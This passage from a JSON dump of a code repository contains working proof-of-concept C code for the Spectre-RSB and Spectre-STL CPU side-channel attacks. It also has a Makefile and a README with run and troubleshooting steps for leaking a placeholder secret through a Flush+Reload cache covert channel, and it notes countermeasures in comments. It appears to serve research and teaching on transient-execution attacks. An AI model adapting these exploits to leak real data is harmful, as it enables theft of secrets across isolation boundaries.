`CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses.\n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n"
  },
  {
    "path": "pocs/spectre/RSB/sa_oop/main.c",
    "content": "#include <pthread.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include \"libcache/cacheutils.h\"\n\n// inaccessible secret\n#define SECRET \"INACCESSIBLE SECRET\"\n\nunsigned char data[128];\nint idx;\n\n// Pop return address from the software stack, causing misspeculation when hitting the return\nint __attribute__ ((noinline)) call_manipulate_stack() {\n#if defined(__i386__) || defined(__x86_64__)\n  asm volatile(\"pop %%rax\\n\" : : : \"rax\");\n#elif defined(__aarch64__)\n  asm volatile(\"ldp x29, x30, [sp],#16\\n\" : : : \"x29\");\n#endif\n  return 0;\n}\n\nint __attribute__ ((noinline)) call_leak() {\n  // Manipulate the stack so that we don't return here, but to call_start\n  call_manipulate_stack();\n  // architecturally, this is never executed\n  // Encode data in covert channel\n  cache_encode(SECRET[idx]);\n  return 2;\n}\n\nint __attribute__ ((noinline)) call_start() {\n  call_leak();\n  return 1;\n}\n\nvoid confuse_compiler() {\n  // this function -- although never called -- is required\n  // otherwise, the compiler replaces the calls with jumps\n  call_start();\n  call_leak();\n  call_manipulate_stack();\n}\n\nint main(int argc, const char **argv) {\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n\n  pagesize = sysconf(_SC_PAGESIZE);\n  char *_mem = malloc(pagesize * (256 + 4));\n  // page aligned\n  mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2);\n  // initialize memory\n  memset(mem, 0, pagesize * 256);\n\n  // flush our shared memory\n  flush_shared_memory();\n  // nothing leaked so far\n  char leaked[sizeof(SECRET) + 1];\n  memset(leaked, ' ', sizeof(leaked));\n  leaked[sizeof(SECRET)] = 0;\n\n  idx = 0;\n  while(1) {\n    // for every byte in the string\n    idx = (idx + 1) % sizeof(SECRET);\n\n    \n    call_start();\n\n    // Recover data from covert channel\n    cache_decode_pretty(leaked, idx);\n\n    if(!strncmp(leaked, SECRET, sizeof(SECRET) - 1))\n      break;\n\n    sched_yield();\n  }\n\n  printf(\"\\n\\x1b[1A[ ]\\n\\n[\\x1b[32m>\\x1b[0m] Done\\n\");\n\n  return (0);\n}\n"
  },
  {
    "path": "pocs/spectre/STL/Makefile",
    "content": "all: x86\n\nx86: main_x86\narm: main_arm\n\nmain_x86: main.c\n\tgcc main.c -o poc_x86 -Os -I../../\n\nmain_arm: main.c\n\taarch64-linux-gnu-gcc -march=armv8-a -D__ARM_ARCH_8A__ -static -Os main.c -o poc_arm -I../../../\n\nclean:\n\trm -f poc_*\n"
  },
  {
    "path": "pocs/spectre/STL/README.md",
    "content": "# Spectre-STL PoC \n\nThis folder contains a Spectre-STL proof-of-concept implementation for x86_64 and ARMv8. \n\n## Compile\n\nCompile using `make x86` for the x86_64 version or `make arm` for the ARMv8 version. \n\n## Run\n\nRun with `./poc_x86` or `./poc_arm` for x86_64 or ARMv8 respectively. \n\nThe expected output is\n```\n[*] Flush+Reload Threshold: 200\n INACCESSIBLE SECRET \n\n[>] Done\n```\n\n## How it works\n\nThe array `data` stores some inaccessible data (i.e., a secret). The `access_array` first overwrites the secret in `data` with a dummy value (\"######\"), and afterwards encodes the value in the cache (cf. Spectre or Meltdown attack). If the store is not (speculatively) executed by the CPU, the previous value (i.e., the actual secret) is read and thus leaked.\n\n\n## Troubleshooting\n\n* The output is garbage (mostly just \"AAAAAAAAAA...\")\n    + **Solution #1:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #2 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER. \n\n* The program does not leak anything\n    + **Solution #1:** Pin the program to one CPU core: `taskset 0x2 ./poc_arm`. Try different cores. \n    + **Solution #2:** Cause a lot of interrupts by running e.g. `stress -i 1 -d 1`. This can be combined with Solution #1\". \n    + **Solution #3:** Manually set the variable `CACHE_MISS` in main.c to a threshold which allows distinguishing cache hits from misses. \n    + **Solution #4 (ARM only):** Try a different method to measure time: Change the ARM_CLOCK_SOURCE in libcache/cache.h to ARM_PERF, ARM_CLOCK_MONOTONIC, or ARM_TIMER.\n"
  },
  {
    "path": "pocs/spectre/STL/main.c",
    "content": "#include <pthread.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <sys/prctl.h>\n#include <seccomp.h>\n#include <linux/seccomp.h>\n\n\n#include \"libcache/cacheutils.h\"\n\n// inaccessible (overwritten) secret\n#define SECRET      \"INACCESSIBLE SECRET\"\n#define OVERWRITE   '#'\n\nchar* data;\n\nchar access_array(int x) {\n  // store secret in data\n  strcpy(data, SECRET);\n\n  // flushing the data which is used in the condition increases\n  // probability of speculation\n  mfence();\n  char** data_slowptr = &data;\n  char*** data_slowslowptr = &data_slowptr;\n  mfence();\n  flush(&x);\n  flush(data_slowptr);\n  flush(&data_slowptr);\n  flush(data_slowslowptr);\n  flush(&data_slowslowptr);\n  // ensure data is flushed at this point\n  mfence();\n\n  // overwrite data via different pointer\n  // pointer chasing makes this extremely slow\n  (*(*data_slowslowptr))[x] = OVERWRITE;\n\n  // data[x] should now be \"#\"\n  // uncomment next line to break attack\n  //mfence();\n  // Encode stale value in the cache\n  cache_encode(data[x]);\n}\n\nint main(int argc, const char **argv) {\n  data = malloc(128);\n  // Detect cache threshold\n  if(!CACHE_MISS)\n    CACHE_MISS = detect_flush_reload_threshold();\n  printf(\"[\\x1b[33m*\\x1b[0m] Flush+Reload Threshold: \\x1b[33m%zd\\x1b[0m\\n\", CACHE_MISS);\n  \n  pagesize = sysconf(_SC_PAGESIZE);\n  // countermeasure:\n  // prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_STORE_BYPASS, PR_SPEC_DISABLE, 0, 0);\n\n// countermeasure 2:\n  // prctl(PR_SET_NO_NEW_PRIVS, 1);\n  // prctl(PR_SET_DUMPABLE, 0);\n  // scmp_filter_ctx ctx;\n  // ctx = seccomp_init(SCMP_ACT_ALLOW);\n  // seccomp_load(ctx);\n  //\n\n  char *_mem = malloc(pagesize * (256 + 4));\n  // page aligned\n  mem = (char *)(((size_t)_mem & ~(pagesize-1)) + pagesize * 2);\n  // initialize memory\n  memset(mem, 0, pagesize * 256);\n\n  // store secret\n  strcpy(data, SECRET);\n\n  // Flush our shared memory\n  flush_shared_memory();\n\n  // nothing leaked so far\n  char leaked[sizeof(SECRET) + 1];\n  memset(leaked, ' ', sizeof(leaked));\n  leaked[sizeof(SECRET)] = 0;\n\n  int j = 0;\n  while(1) {\n    // for every byte in the string\n    j = (j + 1) % sizeof(SECRET);\n\n    // overwrite value with X, then access\n    access_array(j);\n\n    mfence(); // avoid speculation\n    // Recover data from covert channel\n    cache_decode_pretty(leaked, j);\n\n    if(!strncmp(leaked, SECRET, sizeof(SECRET) - 1))\n      break;\n\n    sched_yield();\n  }\n  printf(\"\\n\\n[\\x1b[32m>\\x1b[0m] Done\\n\");\n\n  return 0;\n}\n"
  }
]